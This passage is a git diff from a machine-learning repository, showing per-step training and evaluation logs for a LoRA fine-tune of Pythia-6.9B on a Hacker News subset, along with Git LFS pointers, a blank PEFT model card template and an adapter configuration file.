"eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.99550391156736e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c435d6147d67bf31193c5ceae6596b3ff151dc68 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f40418c0c6366fe8126f1d7e7fe48fc818497362ae9a59b8e9bf8568f9d7a9e5 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d4c2e5dc724ac13573b5995ce9f90db677da3ec5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0f5f029195fda6a5806529708255f4c879aa7d707e68cb8806621960644908dc +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..da7e5f0f7045f8fad1c1529974e555cc67b8f5f0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f2b2ce429e00eba0165cdfd527b7ca384fed68ae5660561d0cbc6dbdd51ce7f1 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8f09b0521c27c995f0878cde37cf7b4138abd8e6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0cecac504a0d6e20c848bc43265028cb51bdbaee46716ad0736302cdd3a2376c +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..45f69f1c90011adf767307337237c7a54cc0e74e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-620/trainer_state.json @@ -0,0 +1,963 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.266666666666667, + "eval_steps": 10, + "global_step": 620, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + 